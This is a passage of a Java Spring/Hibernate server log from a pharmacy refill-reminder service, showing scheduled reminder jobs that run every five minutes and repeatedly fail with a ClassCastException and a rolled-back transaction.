...................End Next Refill Reminder Job.............. 2024-02-26 06:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 06:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 06:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 06:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 06:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 06:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 06:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 06:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 06:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 06:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at 